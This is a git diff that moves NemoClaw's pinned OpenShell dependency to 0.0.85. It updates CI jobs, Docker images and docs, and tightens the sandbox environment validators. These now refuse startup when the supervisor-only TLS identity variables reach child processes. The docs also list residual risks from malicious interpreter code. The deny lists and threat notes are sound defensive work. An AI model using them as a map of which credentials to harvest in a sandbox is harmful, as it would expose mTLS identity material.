diff --git a/.github/workflows/e2e.yaml b/.github/workflows/e2e.yaml
index a1a19c3827..43b22375db 100644
--- a/.github/workflows/e2e.yaml
+++ b/.github/workflows/e2e.yaml
@@ -567,7 +567,7 @@ jobs:
       E2E_ARTIFACT_DIR: ${{ github.workspace }}/e2e-artifacts/live/openshell-gateway-auth-contract
       NEMOCLAW_RUN_LIVE_E2E: "1"
       NEMOCLAW_NON_INTERACTIVE: "1"
-      NEMOCLAW_OPENSHELL_PIN_VERSION: "0.0.72"
+      NEMOCLAW_OPENSHELL_PIN_VERSION: "0.0.85"
       DOCKER_GRPC_PROBE_IMAGE: "node:22-trixie-slim@sha256:2d9f5c76c8f4dd36e8f253bee5d828a83a6c09f36188f0b0414325232e0b175d"
     steps:
       - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3
@@ -634,7 +634,9 @@ jobs:
       NEMOCLAW_E2E_SHARD: ${{ matrix.agent }}
       NEMOCLAW_MCP_BRIDGE_AGENT: ${{ matrix.agent }}
       NEMOCLAW_OPENSHELL_CHANNEL: stable
+      NEMOCLAW_OPENSHELL_EXACT_MAIN_PROOF: "1"
       NEMOCLAW_RUN_LIVE_E2E: "1"
+      OPENSHELL_DOCKER_SUPERVISOR_IMAGE: ghcr.io/nvidia/openshell/supervisor@sha256:f4226253a3525c3832adac5b38b419a0f27d1e915effe565b5885e20f93cd5e9
     steps:
       - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3
         with:
@@ -678,6 +680,20 @@ jobs:
         run: |
           set -euo pipefail
           bash scripts/install-openshell.sh
+          if [[ "$NEMOCLAW_MCP_BRIDGE_AGENT" == "deepagents" ]]; then
+            mkdir -p "$E2E_ARTIFACT_DIR/mcp-bridge-deepagents"
+            jq -n '{
+              schemaVersion: 1,
+              sourceRepository: "NVIDIA/OpenShell",
+              releaseTag: "v0.0.85",
+              sourceSha: "3dee5570a46076a57a3b056f35f35ebc0861ac85",
+              artifacts: {
+                cli: {binarySha256: "222d9d53a142691d7a7de2c692f38e52d24066f9f633d53746c5fef775861bc8"},
+                gateway: {binarySha256: "33bb479d936c3c1b17dd475df05747be9de74564fb67d69a4c33cdd01181d02f"},
+                standaloneSandbox: {binarySha256: "863ef21ab7ef623f5e7a8728c4e5532b46bfbae3ace3b800665a1c6353a1f7d2"}
+              }
+            }' > "$E2E_ARTIFACT_DIR/mcp-bridge-deepagents/openshell-exact-main-provenance.json"
+          fi
 
       - name: Run MCP OpenShell provider live test
         run: |
@@ -694,6 +710,13 @@ jobs:
           export OPENSHELL_BIN
           "$OPENSHELL_BIN" --version
           npx tsx tools/e2e/live-vitest-invocation.mts run --test-path test/e2e/live/mcp-bridge.test.ts
+          if [[ "$NEMOCLAW_MCP_BRIDGE_AGENT" == "deepagents" ]]; then
+            npx vitest run --project e2e-live \
+              test/e2e/live/openshell-credential-generation-window.test.ts \
+              -t '^openshell-credential-generation-window$' \
+              --no-file-parallelism \
+              --silent=false --reporter=default --reporter=test/e2e/risk-signal-reporter.ts
+          fi
 
       - id: mcp_artifact_secret_scan
         name: Scan MCP artifacts for fixture credentials
@@ -3575,6 +3598,15 @@ jobs:
             sandbox_base_image_ref: "ghcr.io/nvidia/nemoclaw/sandbox-base@sha256:10433a8cd2f2b809dd0fdf983514679e04c0f8aa1ff5bbff675029046033b108"
             openshell_version: 0.0.44
             openclaw_version: 2026.5.22
+          - id: v0.0.74-x86_64
+            runner: ubuntu-latest
+            shard: v0-0-74-x86-64
+            nemoclaw_ref: v0.0.74
+            nemoclaw_commit: "3a05b54e8ec3e1d5550ec5c728de54af872bffe3"
+            installer_sha256: "a0cd3feca488d247e53d59d7d8246d2b86e75e95acb5e7d78504b3c0c60fd7db"
+            sandbox_base_image_ref: "ghcr.io/nvidia/nemoclaw/sandbox-base@sha256:104151ffadc2ff0b6c815e3c95c2783ced61aee0d0f83fc327cc02be9b7e14e6"
+            openshell_version: 0.0.72
+            openclaw_version: 2026.5.27
     env:
       E2E_JOB: "1"
       E2E_TARGET_ID: "openshell-gateway-upgrade"
@@ -3605,7 +3637,8 @@ jobs:
 
       - name: Run OpenShell gateway upgrade live Vitest test
         # Keep the original v0.0.36 fixture on x86_64 and validate the exact
-        # v0.0.55/OpenShell 0.0.44 regression shape on x86_64 and arm64.
+        # v0.0.55/OpenShell 0.0.44 regression shape on x86_64 and arm64, plus
+        # the immediate v0.0.74/OpenShell 0.0.72 predecessor to this bump.
         env:
           GITHUB_TOKEN: ${{ github.token }}
         run: |
diff --git a/agents/hermes/Dockerfile b/agents/hermes/Dockerfile
index 54fca1976f..eae7b7ddf6 100644
--- a/agents/hermes/Dockerfile
+++ b/agents/hermes/Dockerfile
@@ -134,7 +134,7 @@ COPY agents/hermes/runtime-config-guard.py /usr/local/lib/nemoclaw/hermes-runtim
 COPY agents/hermes/finalize-tirith-marker.py /usr/local/lib/nemoclaw/finalize-tirith-marker.py
 COPY agents/hermes/build-mcp-digest.py /usr/local/lib/nemoclaw/build-hermes-mcp-digest.py
 COPY agents/hermes/mcp-config-transaction.py /usr/local/lib/nemoclaw/hermes-mcp-config-transaction.py
-COPY src/lib/actions/sandbox/openshell-child-visible-credentials.v0.0.72.json /usr/local/lib/nemoclaw/openshell-child-visible-credentials.v0.0.72.json
+COPY src/lib/actions/sandbox/openshell-child-visible-credentials.v0.0.85.json /usr/local/lib/nemoclaw/openshell-child-visible-credentials.v0.0.85.json
 COPY scripts/state-dir-guard.py /usr/local/lib/nemoclaw/state-dir-guard.py
 COPY nemoclaw-blueprint/scripts/*.js /usr/local/lib/nemoclaw/preloads/
 # Dockerfile.base is the source of truth for rlimit hooks. This Hermes replay
@@ -143,11 +143,11 @@ COPY nemoclaw-blueprint/scripts/*.js /usr/local/lib/nemoclaw/preloads/
 # minimum supported Hermes sandbox base tag guarantees those artifacts and
 # test/sandbox-rlimit-hooks.test.ts covers that base.
 RUN chmod 755 /usr/local/bin/nemoclaw-start /usr/local/lib/nemoclaw/sandbox-init.sh /usr/local/lib/nemoclaw/validate-hermes-env-secret-boundary.py /usr/local/lib/nemoclaw/patch-hermes-session-list-preview.py /usr/local/lib/nemoclaw/seed-hermes-dashboard-config.py /usr/local/lib/nemoclaw/hermes-runtime-config-guard.py /usr/local/lib/nemoclaw/finalize-tirith-marker.py /usr/local/lib/nemoclaw/hermes-mcp-config-transaction.py \
-    && chown root:root /usr/local/bin/nemoclaw-gateway-control /usr/local/lib/nemoclaw/gateway-supervisor.sh /usr/local/lib/nemoclaw/state-dir-guard.py /usr/local/lib/nemoclaw/managed-gateway-control.py /usr/local/lib/nemoclaw/build-hermes-mcp-digest.py /usr/local/lib/nemoclaw/openshell-child-visible-credentials.v0.0.72.json \
+    && chown root:root /usr/local/bin/nemoclaw-gateway-control /usr/local/lib/nemoclaw/gateway-supervisor.sh /usr/local/lib/nemoclaw/state-dir-guard.py /usr/local/lib/nemoclaw/managed-gateway-control.py /usr/local/lib/nemoclaw/build-hermes-mcp-digest.py /usr/local/lib/nemoclaw/openshell-child-visible-credentials.v0.0.85.json \
     && chmod 700 /usr/local/bin/nemoclaw-gateway-control \
     && chmod 500 /usr/local/lib/nemoclaw/state-dir-guard.py /usr/local/lib/nemoclaw/managed-gateway-control.py \
     && chmod 444 /usr/local/lib/nemoclaw/gateway-supervisor.sh /usr/local/lib/nemoclaw/build-hermes-mcp-digest.py \
-    && chmod 444 /usr/local/lib/nemoclaw/openshell-child-visible-credentials.v0.0.72.json \
+    && chmod 444 /usr/local/lib/nemoclaw/openshell-child-visible-credentials.v0.0.85.json \
     && if [ -d /usr/local/lib/nemoclaw/preloads ]; then \
         chown -R 0:0 /usr/local/lib/nemoclaw/preloads \
         && find /usr/local/lib/nemoclaw/preloads -type f -exec chmod 444 {} + \
@@ -207,7 +207,7 @@ PY
 # file has to also rewrite the Dockerfile-committed hash, which reviewers gate).
 # Regenerate with `sha256sum agents/hermes/{hermes-wrapper.py,validate-env-secret-boundary.py,finalize-tirith-marker.py}`.
 ARG NEMOCLAW_HERMES_WRAPPER_SHA256=ec8b0e4d6254175929d5a02240acd6af25e94774a30b36ba5c6f5a69c32fb9d7
-ARG NEMOCLAW_HERMES_VALIDATOR_SHA256=970d7ff03bc409ff1d5ca46bfdbd2a42ac28a32a810ccc147a508301bff38496
+ARG NEMOCLAW_HERMES_VALIDATOR_SHA256=d7371a84099b204346e0bfecfacb0086fdab690e5fadcf5e12417b6038927d19
 ARG NEMOCLAW_HERMES_TIRITH_FINALIZER_SHA256=a1e6b1c53ab297569abb87c29d15c294d729e46005bfd022136b4c447a791819
 # hadolint ignore=DL4006
 RUN printf '%s  %s\n' \
diff --git a/agents/hermes/mcp-config-transaction.py b/agents/hermes/mcp-config-transaction.py
index dc1369c375..4cd644316b 100755
--- a/agents/hermes/mcp-config-transaction.py
+++ b/agents/hermes/mcp-config-transaction.py
@@ -58,7 +58,8 @@
 ENV_PLACEHOLDER_RE = re.compile(
     r"^Bearer openshell:resolve:env:([A-Za-z_][A-Za-z0-9_]{0,127})$"
 )
-BOUNDARY_MANIFEST_NAME = "openshell-child-visible-credentials.v0.0.72.json"
+OPENSHELL_REVISIONED_CREDENTIAL_NAME_RE = re.compile(r"^v[0-9]+_[A-Za-z0-9_]+$")
+BOUNDARY_MANIFEST_NAME = "openshell-child-visible-credentials.v0.0.85.json"
 ANSI_ESCAPE_RE = re.compile(
     r"\x1b(?:\[[0-?]*[ -/]*[@-~]|\][^\x07]*(?:\x07|\x1b\\)|[@-_])"
 )
@@ -116,7 +117,7 @@ def _load_credential_boundary_manifest() -> dict[str, object]:
     # corrupt, or wrong-version OpenShell boundary manifest.
     # sourceBoundary: NemoClaw owns one reviewed manifest installed beside this
     # helper in images; the second path is the deterministic source-checkout layout.
-    # whyNotSourceFix: OpenShell v0.0.72 has no machine-readable child-env contract.
+    # whyNotSourceFix: OpenShell v0.0.85 has no machine-readable child-env contract.
     # It also deliberately hides the supervisor identity mount from workload
     # children and the Hermes image contains no OpenShell CLI. Executing
     # ``openshell --version`` here would therefore either fail every real
@@ -142,7 +143,10 @@ def _load_credential_boundary_manifest() -> dict[str, object]:
     if manifest_path is None:
         raise RuntimeError("Hermes MCP credential boundary manifest is missing")
     manifest = json.loads(manifest_path.read_text(encoding="utf-8"))
-    if not isinstance(manifest, dict) or manifest.get("openshellVersion") != "0.0.72":
+    if (
+        not isinstance(manifest, dict)
+        or manifest.get("openshellVersion") != "0.0.85"
+    ):
         raise RuntimeError("Hermes MCP credential boundary manifest is invalid")
     return manifest
 
@@ -175,7 +179,8 @@ def _manifest_strings(manifest: dict[str, object], key: str) -> frozenset[str]:
 
 def _credential_name_is_reserved(name: str) -> bool:
     return (
-        name in _RAW_CHILD_VALUE_KEYS
+        OPENSHELL_REVISIONED_CREDENTIAL_NAME_RE.fullmatch(name) is not None
+        or name in _RAW_CHILD_VALUE_KEYS
         or name in _REWRITTEN_CHILD_VALUE_KEYS
         or name in _RUNTIME_CONTROL_KEYS
         or any(name.startswith(prefix) for prefix in _RUNTIME_CONTROL_PREFIXES)
@@ -324,7 +329,7 @@ def _validate_payload(action: str, payload: dict[str, object]) -> None:
     }
     if action == "add" and hostname in host_aliases:
         raise ValueError(
-            "Authenticated MCP OpenShell host aliases are unavailable with OpenShell v0.0.72"
+            "Authenticated MCP OpenShell host aliases are unavailable with OpenShell v0.0.85"
         )
     if not (action == "remove" and hostname in host_aliases) and (
         hostname in {"localhost", "local", "internal", "metadata"}
@@ -1068,7 +1073,7 @@ def _assert_non_root_lifecycle_identity() -> None:
     # topology.
     # sourceBoundary: OpenShell owns workload topology; NemoClaw owns the
     # immutable root-lifecycle marker and validates it before mutation.
-    # whyNotSourceFix: OpenShell 0.0.72 supports both topologies but exposes no
+    # whyNotSourceFix: OpenShell 0.0.85 supports both topologies but exposes no
     # attested same-UID capability that this packaged helper can query.
     # regressionTest: hermes-mcp-config-transaction.test.ts rejects both probe
     # and add when the root-lifecycle marker identifies the legacy topology.
diff --git a/agents/hermes/runtime-config-guard.py b/agents/hermes/runtime-config-guard.py
index 2ea3f9be3e..c1e2fb14ec 100755
--- a/agents/hermes/runtime-config-guard.py
+++ b/agents/hermes/runtime-config-guard.py
@@ -587,7 +587,7 @@ def _pinned_process_matches_supervised_nonroot_start(
     supervisor_identity: tuple[str, int | None],
     expected_effective_uid: int,
 ) -> bool:
-    # OpenShell 0.0.72 keeps its supervisor at PID 1 and launches the non-root
+    # OpenShell 0.0.85 keeps its supervisor at PID 1 and launches the non-root
     # NemoClaw entrypoint as a child, so startup authority must be proved from
     # pinned procfs identity rather than a PID-1 equality check. Remove this
     # compatibility proof when #6256 provides authenticated supervisor/runtime
diff --git a/agents/hermes/start.sh b/agents/hermes/start.sh
index 9da8f4b03c..9bef178dca 100755
--- a/agents/hermes/start.sh
+++ b/agents/hermes/start.sh
@@ -3062,7 +3062,7 @@ fi
 # while Hermes actually runs in the legacy root-separated topology.
 # sourceBoundary: OpenShell owns workload topology; NemoClaw owns the immutable
 # root-lifecycle marker and stamps it before starting the root-separated gateway.
-# whyNotSourceFix: OpenShell 0.0.72 supports both topologies but exposes no
+# whyNotSourceFix: OpenShell 0.0.85 supports both topologies but exposes no
 # attested same-UID capability that this packaged entrypoint can query.
 # regressionTest: hermes-mcp-config-transaction.test.ts rejects both probe and
 # add when the root-lifecycle marker identifies the legacy topology.
diff --git a/agents/hermes/validate-env-secret-boundary.py b/agents/hermes/validate-env-secret-boundary.py
index 998e930caf..fddf0c167c 100755
--- a/agents/hermes/validate-env-secret-boundary.py
+++ b/agents/hermes/validate-env-secret-boundary.py
@@ -52,12 +52,12 @@
     }
 )
 RUNTIME_ALLOWED_RAW_SECRET_KEYS = frozenset({"OPENCLAW_GATEWAY_TOKEN"})
-# OpenShell's Docker/Podman supervisor owns this variable and injects a mounted
-# file path, not private-key material. Keep the allowance exact and runtime-only
-# so a caller cannot use the secret-shaped name to smuggle an arbitrary value or
-# persist it in Hermes' mutable .env file.
-RUNTIME_ALLOWED_PLATFORM_PATH_VALUES = frozenset(
-    {("OPENSHELL_TLS_KEY", "/etc/openshell/tls/client/tls.key")}
+# OpenShell 8eacb477 (candidate 0.0.85) makes these supervisor-only identity
+# variables and removes them from entrypoint, exec, and connect children. Their
+# presence in Hermes is therefore contract drift even when the value is only a
+# mounted path.
+OPENSHELL_SUPERVISOR_ONLY_ENV_KEYS = frozenset(
+    {"OPENSHELL_TLS_CA", "OPENSHELL_TLS_CERT", "OPENSHELL_TLS_KEY"}
 )
 ALLOWED_LITERALS = frozenset({"", "[STRIPPED_BY_MIGRATION]"})
 MAX_ENV_BYTES = 4 * 1024 * 1024
@@ -451,6 +451,11 @@ def validate_env_file(path: str) -> int:
         key = key.strip()
         if not KEY_NAME_RE.fullmatch(key):
             continue
+        if key in OPENSHELL_SUPERVISOR_ONLY_ENV_KEYS:
+            violation_count += 1
+            if len(violations) < MAX_VIOLATIONS:
+                violations.append(f"{key} (line {lineno})")
+            continue
         if key in ENV_FILE_ALLOWED_NONSECRET_KEYS:
             continue
         if key in ENV_FILE_ALLOWED_RAW_SECRET_KEYS and is_allowed_raw_secret_value(
@@ -468,8 +473,9 @@ def validate_env_file(path: str) -> int:
         return 0
     _emit_violations(
         "[SECURITY] Refusing Hermes startup because /sandbox/.hermes/.env "
-        "contains raw secret-shaped values. Store credentials in OpenShell "
-        "providers and keep only openshell resolver placeholders in the sandbox.",
+        "contains raw secret-shaped values or OpenShell supervisor-only identity "
+        "variables. Store credentials in OpenShell providers and keep only "
+        "openshell resolver placeholders in the sandbox.",
         violations,
         violation_count - len(violations),
     )
@@ -481,14 +487,17 @@ def validate_runtime_env(env: dict[str, str] | None = None) -> int:
     violations: list[str] = []
     violation_count = 0
     for key, value in sorted(source.items()):
+        if key in OPENSHELL_SUPERVISOR_ONLY_ENV_KEYS:
+            violation_count += 1
+            if len(violations) < MAX_VIOLATIONS:
+                violations.append(key)
+            continue
         if key in RUNTIME_ALLOWED_NONSECRET_KEYS:
             continue
         if key in RUNTIME_ALLOWED_RAW_SECRET_KEYS and is_allowed_raw_secret_value(
             key, value
         ):
             continue
-        if (key, value) in RUNTIME_ALLOWED_PLATFORM_PATH_VALUES:
-            continue
         if not KEY_NAME_RE.fullmatch(key):
             continue
         if not SECRET_KEY_RE.search(key):
@@ -502,8 +511,9 @@ def validate_runtime_env(env: dict[str, str] | None = None) -> int:
         return 0
     _emit_violations(
         "[SECURITY] Refusing Hermes startup because the process environment "
-        "contains raw secret-shaped values. Store credentials in OpenShell "
-        "providers and keep only openshell resolver placeholders in the sandbox.",
+        "contains raw secret-shaped values or OpenShell supervisor-only identity "
+        "variables. Store credentials in OpenShell providers and keep only "
+        "openshell resolver placeholders in the sandbox.",
         violations,
         violation_count - len(violations),
     )
diff --git a/agents/langchain-deepagents-code/dcode-wrapper.sh b/agents/langchain-deepagents-code/dcode-wrapper.sh
index f97f32a7a1..5714db7610 100755
--- a/agents/langchain-deepagents-code/dcode-wrapper.sh
+++ b/agents/langchain-deepagents-code/dcode-wrapper.sh
@@ -41,7 +41,6 @@ unset PYTHONHOME PYTHONPATH
 readonly DEEPAGENTS_ENV_FILE="/sandbox/.deepagents/.env"
 readonly OPENSHELL_ENV_PLACEHOLDER_PREFIX="openshell:resolve:env:"
 readonly DEEPAGENTS_CONFIG_FILE="/sandbox/.deepagents/config.toml"
-readonly OPENSHELL_TLS_KEY_PATH="/etc/openshell/tls/client/tls.key"
 readonly DEEPAGENTS_AUTH_FILE="/sandbox/.deepagents/.state/auth.json"
 readonly DEEPAGENTS_CODEX_AUTH_FILE="/sandbox/.deepagents/.state/chatgpt-auth.json"
 readonly MANAGED_DCODE_AUTO_APPROVAL_FILE="/usr/local/share/nemoclaw/dcode-auto-approval"
@@ -351,14 +350,15 @@ has_credential_name_context() {
   return 1
 }
 
-# SECURITY: OpenShell's supervisor injects this mounted TLS key path into the
-# runtime environment. Allow only the exact name/value pair after the generic
-# value scan. Never allow the name alone, and never apply this exception to the
-# mutable Deep Agents Code .env file.
-is_allowed_openshell_runtime_value() {
-  local name="$1"
-  local value="$2"
-  [ "$name" = "OPENSHELL_TLS_KEY" ] && [ "$value" = "$OPENSHELL_TLS_KEY_PATH" ]
+# OpenShell 8eacb477 (candidate 0.0.85) strips these supervisor identity
+# variables from entrypoint, exec, and connect children. Reject their presence
+# regardless of value so a runtime regression cannot silently expose mounted
+# mTLS identity to dcode.
+is_openshell_supervisor_only_env_name() {
+  case "$1" in
+    OPENSHELL_TLS_CA | OPENSHELL_TLS_CERT | OPENSHELL_TLS_KEY) return 0 ;;
+  esac
+  return 1
 }
 
 # OTLP endpoint variables carry the collector URL, not a credential. The
@@ -440,8 +440,7 @@ is_openshell_env_placeholder_for_name() {
   local canonical revision_prefix revision_suffix versioned revision
 
   # OPENSHELL_TLS_KEY is supervisor infrastructure, not a provider credential.
-  # Only its exact mounted path is accepted from the runtime environment below;
-  # never let a provider placeholder bypass that name/value allowlist.
+  # Never let a provider placeholder bypass that supervisor-only boundary.
   [ "$name" != "OPENSHELL_TLS_KEY" ] || return 1
 
   # Keep this identifier contract aligned with OpenShell provider env keys.
@@ -506,6 +505,9 @@ assert_no_secret_runtime_env() {
     name="${pair%%=*}"
     [ "$name" != "$pair" ] || continue
     value="${pair#*=}"
+    if is_openshell_supervisor_only_env_name "$name"; then
+      refuse_secret_env "runtime environment variable" "$name"
+    fi
     if [[ "$value" == *"$OPENSHELL_ENV_PLACEHOLDER_PREFIX"* ]]; then
       if is_openshell_env_placeholder_for_name "$name" "$value"; then
         continue
@@ -526,7 +528,7 @@ assert_no_secret_runtime_env() {
       fi
       continue
     fi
-    if has_credential_name_context "$name" && [ ${#value} -ge 10 ] && ! is_allowed_openshell_runtime_value "$name" "$value"; then
+    if has_credential_name_context "$name" && [ ${#value} -ge 10 ]; then
       refuse_secret_env "runtime environment variable" "$name"
     fi
   done < <(env -0)
@@ -578,6 +580,9 @@ assert_no_secret_env_file() {
         ;;
     esac
     value="$(trim_whitespace "$value")"
+    if is_openshell_supervisor_only_env_name "$key"; then
+      refuse_secret_env "$env_file" "$key"
+    fi
     if is_dynamic_dotenv_value "$value"; then
       refuse_dynamic_env "$env_file" "$key"
     fi
diff --git a/agents/langchain-deepagents-code/managed-dcode-runtime.py b/agents/langchain-deepagents-code/managed-dcode-runtime.py
index 33ce036e7a..d4e36ea4d1 100644
--- a/agents/langchain-deepagents-code/managed-dcode-runtime.py
+++ b/agents/langchain-deepagents-code/managed-dcode-runtime.py
@@ -82,6 +82,11 @@
     r"\u202f\u205f\u3000\ufeff'\"]"
 )
 _OPENSHELL_ENV_PLACEHOLDER_PREFIX = "openshell:resolve:env:"
+# OpenShell 8eacb477 reserves these for the supervisor and strips them from all
+# child process shapes; fail closed if a regressed runtime exposes them here.
+_OPENSHELL_SUPERVISOR_ONLY_ENV_NAMES = frozenset(
+    {"OPENSHELL_TLS_CA", "OPENSHELL_TLS_CERT", "OPENSHELL_TLS_KEY"}
+)
 _UPSTREAM_PROVIDER_ENV = "NEMOCLAW_UPSTREAM_PROVIDER"
 _FETCH_URL_TRUSTED_PROXY_ENV = (
     "DEEPAGENTS_CODE_FETCH_URL_TRUSTED_PROXY_URL"
@@ -236,8 +241,6 @@ def _is_openshell_placeholder_for_name(name: str, value: str) -> bool:
 def _is_managed_value(name: str, value: str) -> bool:
     if name == "DEEPAGENTS_CODE_OPENAI_API_KEY":
         return value == "nemoclaw-managed-inference"
-    if name == "OPENSHELL_TLS_KEY":
-        return value == "/etc/openshell/tls/client/tls.key"
     if name == "SLACK_BOT_TOKEN":
         return bool(re.fullmatch(r"xoxb-[A-Za-z0-9_-]{10,}", value)) and not _contains_other_platform_secret(value, "slack")
     if name == "SLACK_APP_TOKEN":
@@ -283,6 +286,11 @@ def _is_safe_otlp_endpoint_url(value: str) -> bool:
 
 def _assert_safe_environment() -> None:
     for name, value in os.environ.items():
+        if name in _OPENSHELL_SUPERVISOR_ONLY_ENV_NAMES:
+            raise RuntimeError(
+                f"runtime environment variable {name} is reserved for the "
+                "OpenShell supervisor and must not reach a child process"
+            )
         if _OPENSHELL_ENV_PLACEHOLDER_PREFIX in value:
             if _is_openshell_placeholder_for_name(name, value):
                 continue
diff --git a/ci/platform-matrix.json b/ci/platform-matrix.json
index 6f7eeda445..1ad3b95bdc 100644
--- a/ci/platform-matrix.json
+++ b/ci/platform-matrix.json
@@ -229,7 +229,7 @@
     {
       "name": "Intel Mac (macOS x86_64)",
       "status": "unsupported",
-      "notes": "OpenShell does not publish macOS x86_64 standalone gateway assets. Install hard-fails on x86_64 macOS (`scripts/install-openshell.sh:663`). See issue #954 (closed)."
+      "notes": "OpenShell does not publish macOS x86_64 standalone gateway assets. Install hard-fails on x86_64 macOS (`scripts/install-openshell.sh:689`). See issue #954 (closed)."
     },
     {
       "name": "Non-Ubuntu/Debian Linux distros",
diff --git a/docs/deployment/set-up-mcp-bridge.mdx b/docs/deployment/set-up-mcp-bridge.mdx
index 79c6af7328..cbe5e03e10 100644
--- a/docs/deployment/set-up-mcp-bridge.mdx
+++ b/docs/deployment/set-up-mcp-bridge.mdx
@@ -31,7 +31,7 @@ The integration has three parts:
 
 This integration depends on the OpenShell MCP/JSON-RPC L7 policy support from [NVIDIA/OpenShell#1865](https://github.com/NVIDIA/OpenShell/pull/1865).
 
-NemoClaw v0.0.74 defaults to the pinned stable OpenShell `0.0.72` release, which exposes native `protocol: mcp` policy handling and provider-backed credential replacement.
+Current NemoClaw builds default to the pinned stable OpenShell `0.0.85` release, which exposes native `protocol: mcp` policy handling and provider-backed credential replacement.
 The optional OpenShell development channel is compatibility evidence only and is not a shipping target.
 
 NemoClaw accepts Streamable HTTP MCP endpoints only.
@@ -71,26 +71,26 @@ NemoClaw accepts canonical HTTPS MCP URLs and writes the credential placeholder
 
 ### DNS Pinning Contract
 
-The MCP integration pins its OpenShell DNS enforcement contract to [`NVIDIA/OpenShell@8cb16de9eae4c44d7d31e1493747d8c10abb5963`](https://github.com/NVIDIA/OpenShell/tree/8cb16de9eae4c44d7d31e1493747d8c10abb5963).
+The MCP integration pins its OpenShell DNS enforcement contract to [`NVIDIA/OpenShell@3dee5570a46076a57a3b056f35f35ebc0861ac85`](https://github.com/NVIDIA/OpenShell/tree/3dee5570a46076a57a3b056f35f35ebc0861ac85).
 
 OpenShell uses one socket-address list throughout resolution, validation, and connection:
 
-- [`crates/openshell-supervisor-network/src/proxy.rs:2476-2502`](https://github.com/NVIDIA/OpenShell/blob/8cb16de9eae4c44d7d31e1493747d8c10abb5963/crates/openshell-supervisor-network/src/proxy.rs#L2476-L2502) produces the list.
-- [`crates/openshell-supervisor-network/src/proxy.rs:2527-2567`](https://github.com/NVIDIA/OpenShell/blob/8cb16de9eae4c44d7d31e1493747d8c10abb5963/crates/openshell-supervisor-network/src/proxy.rs#L2527-L2567) validates every address.
-- [`crates/openshell-supervisor-network/src/proxy.rs:2622-2630`](https://github.com/NVIDIA/OpenShell/blob/8cb16de9eae4c44d7d31e1493747d8c10abb5963/crates/openshell-supervisor-network/src/proxy.rs#L2622-L2630) returns the validated list unchanged.
+- [`crates/openshell-supervisor-network/src/proxy.rs:2648-2674`](https://github.com/NVIDIA/OpenShell/blob/3dee5570a46076a57a3b056f35f35ebc0861ac85/crates/openshell-supervisor-network/src/proxy.rs#L2648-L2674) produces the list.
+- [`crates/openshell-supervisor-network/src/proxy.rs:2699-2739`](https://github.com/NVIDIA/OpenShell/blob/3dee5570a46076a57a3b056f35f35ebc0861ac85/crates/openshell-supervisor-network/src/proxy.rs#L2699-L2739) validates every address.
+- [`crates/openshell-supervisor-network/src/proxy.rs:2794-2803`](https://github.com/NVIDIA/OpenShell/blob/3dee5570a46076a57a3b056f35f35ebc0861ac85/crates/openshell-supervisor-network/src/proxy.rs#L2794-L2803) returns the validated list unchanged.
 
-The CONNECT path passes that list directly to [`TcpStream::connect` at `crates/openshell-supervisor-network/src/proxy.rs:822-832`](https://github.com/NVIDIA/OpenShell/blob/8cb16de9eae4c44d7d31e1493747d8c10abb5963/crates/openshell-supervisor-network/src/proxy.rs#L822-L832).
-The explicit HTTP-forward path carries the same list from [`crates/openshell-supervisor-network/src/proxy.rs:3885-3893`](https://github.com/NVIDIA/OpenShell/blob/8cb16de9eae4c44d7d31e1493747d8c10abb5963/crates/openshell-supervisor-network/src/proxy.rs#L3885-L3893) to [`crates/openshell-supervisor-network/src/proxy.rs:4123-4125`](https://github.com/NVIDIA/OpenShell/blob/8cb16de9eae4c44d7d31e1493747d8c10abb5963/crates/openshell-supervisor-network/src/proxy.rs#L4123-L4125).
+The CONNECT path passes that list directly to [`TcpStream::connect` at `crates/openshell-supervisor-network/src/proxy.rs:1079-1081`](https://github.com/NVIDIA/OpenShell/blob/3dee5570a46076a57a3b056f35f35ebc0861ac85/crates/openshell-supervisor-network/src/proxy.rs#L1079-L1081).
+The explicit HTTP-forward path carries the same list from [`crates/openshell-supervisor-network/src/proxy.rs:4093-4100`](https://github.com/NVIDIA/OpenShell/blob/3dee5570a46076a57a3b056f35f35ebc0861ac85/crates/openshell-supervisor-network/src/proxy.rs#L4093-L4100) to [`crates/openshell-supervisor-network/src/proxy.rs:4340-4342`](https://github.com/NVIDIA/OpenShell/blob/3dee5570a46076a57a3b056f35f35ebc0861ac85/crates/openshell-supervisor-network/src/proxy.rs#L4340-L4342).
 There is no second hostname resolution between validation and connection in either path.
 
-### Stable OpenShell 0.0.72 Limitations
+### Stable OpenShell 0.0.85 Limitations
 
-OpenShell v0.0.72 attributes network policy with `/proc/<pid>/exe` and process ancestors, so script-based adapters require Node or Python interpreter grants rather than immutable package-entrypoint identities.
+OpenShell v0.0.85 attributes network policy with `/proc/<pid>/exe` and process ancestors, so script-based adapters require Node or Python interpreter grants rather than immutable package-entrypoint identities.
 NemoClaw compensates with an exact HTTPS destination, path, MCP method profile, DNS pins, and a unique least-privilege credential for each server.
 
 Remove the interpreter grants when OpenShell exposes stable script or package entrypoint attribution.
 
-OpenShell v0.0.72 attaches static provider credentials at sandbox scope rather than reserving a credential key exclusively for one endpoint.
+OpenShell v0.0.85 attaches static provider credentials at sandbox scope rather than reserving a credential key exclusively for one endpoint.
 It also does not expose an immutable provider binding on an attachment, provide a `tls: require` policy mode, bind the HTTP `Host` header to the policy destination, or include query parameters in MCP path matching.
 
 NemoClaw rejects credential-key reuse between managed MCP servers, creates a dedicated provider for each definition, reports the residual risk in `status`, and requires a unique least-privilege token and environment key.
@@ -98,7 +98,7 @@ Do not grant a broader inspected-HTTP route to the same adapter runtime because
 
 The generated configuration uses the canonical HTTPS URL, but malicious code running as an allowed interpreter can deliberately change the scheme, `Host` header, or query string within the supported OpenShell policy contract.
 
-OpenShell v0.0.72 updates, attaches, detaches, and deletes providers by mutable name instead of an atomic immutable identity.
+OpenShell v0.0.85 updates, attaches, detaches, and deletes providers by mutable name instead of an atomic immutable identity.
 NemoClaw compensates with randomized provider names, the per-sandbox lifecycle lock, and immediate ownership checks against the recorded provider ID, type, and credential-key metadata before mutations.
 
 NemoClaw fails closed and preserves retryable state when those checks do not match, but the checks do not provide compare-and-swap behavior against another OpenShell client.
diff --git a/docs/manage-sandboxes/add-mcp-server.mdx b/docs/manage-sandboxes/add-mcp-server.mdx
index ff6a7b8471..77af168a32 100644
--- a/docs/manage-sandboxes/add-mcp-server.mdx
+++ b/docs/manage-sandboxes/add-mcp-server.mdx
@@ -56,7 +56,11 @@ Do not reuse OpenShell Google Cloud compatibility names such as `GCP_PROJECT_ID`
 NemoClaw rejects them because OpenShell exposes those non-secret configuration names as child-process values.
 
